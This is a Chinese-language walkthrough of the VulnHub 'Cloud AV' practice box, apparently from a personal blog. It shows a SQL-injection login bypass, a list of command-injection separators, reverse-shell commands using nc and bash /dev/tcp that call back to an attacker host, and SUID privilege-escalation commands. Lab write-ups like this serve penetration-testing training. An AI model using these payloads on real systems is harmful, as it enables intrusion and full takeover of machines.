靶场地址
https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453/
渗透过程
端口扫描,发现开放 8080 端口,后端脚本使用的 Python
看到登录框,最直接的反应要么弱口令暴破,要么存在注入,
嗯,弱口令:
当然,双引号引发了报错,也存在注入:
所以弱口令,或者万能密码 " or 1 -- - 都可以进后台
看这个功能,是提交一个文件名,服务器上的杀毒软件接收该参数后会执行杀毒命令,所以可能存在命令注入:
这里正好整理一下命令注入常用的符号(不全):
cmd1 | cmd2 将cmd1的输出作为cmd2的输入 cmd1 & cmd2 先执行cmd2,再执行cmd1,且cmd1设置为后台进程 cmd1 && cmd2 cmd1执行成功才执行cmd2,否则不执行 cmd1 || cmd2 如果cmd1执行失败,则执行cmd2,在返回真的地方停止执行 cmd1 ; cmd2 顺序执行,彼此之间不关心是否失败,所有命令都会执行 cmd ;; cmd2 顺序执行,但只有在前一个命令成功时才会运行后一个命令 `cmd` 将反引号内部的命令执行,并将其输出作为字符串返回 $(cmd) 与反引号相同的效果
能执行命令,接下来肯定就是反弹shell了,上个靶场用的 Python,这个当然也可以用不过我练习一下其他的:
(1)nc
nc 有 -e 参数的版本:
nc -lvnp <port> 控制端监听端口 nc <vps_ip> <port> -e /bin/bash 被控端反向连接
nc 无 -e 参数:
nc -lvnp <port1> 控制端监听端口1 nc -lvnp <port2> 控制端监听端口2 nc <vps_ip> <port1> | /bin/sh | nc <vps_ip> <port2> 被控端执行
(2)管道符 |
echo 'bash -i >& /dev/tcp/10.180.1.6/7777 0>&1'|bash # 输出反弹 shell 的字符串作为输入发送给 bash 执行
在当前目录的上一级目录,发现了一个源文件,简单看一下源代码:
/usr/bin/freshclam 是 ClamAV 的病毒数据库更新工具不用管,argc 代表 C/C++ 的命令行参数的个数,代码中先判断是否参数 < 2,即有没有输入参数,没有就直接 return 了,然后就是这条命令开辟内存空间用于执行。然后有两行重要的代码,这是提权的关键。
setuid(0):这个函数会将进程的 UID 设置为 0,也就是 root 用户。这意味着该进程将以 root 用户的权限运行;
setgid(0):这个函数会将进程的 GID 设置为 0,也就是 root 组。这意味着该进程将以 root 组的权限运行。
最后直接运行命令,没有任何的过滤,所以,提权的思路就是 SUID 提权了:root 权限运行,有 s 标志位
命令注入,提权成功:
Linux SUID 提权
SUID 是给予程序或文件一个特殊的权限,可以让程序执行者临时拥有文件所有者的权限去执行,执行结束后权限将被回收。
SUID 提权的步骤:
1. 寻找携带 SUID 权限的文件
find / -user root -perm -4000 -exec ls -ldb {} \;
find / -perm -u=s -type f 2>/dev/null # /dev/null 是一个特殊的文件系统对象,它将丢弃写入其中的所有内容
find / -user root -perm -4000 -print 2>/dev/null
2. 使用具有SUID权限的命令结合exec进行提权
假设 find 命令具有 SUID:
find /tmp/a.txt -exec whoami \;
标签:cloudantivirus,SUID,nc,cmd1,cmd2,提权,easy,执行 From: https://www.cnblogs.com/m0x1ng/p/17728644.html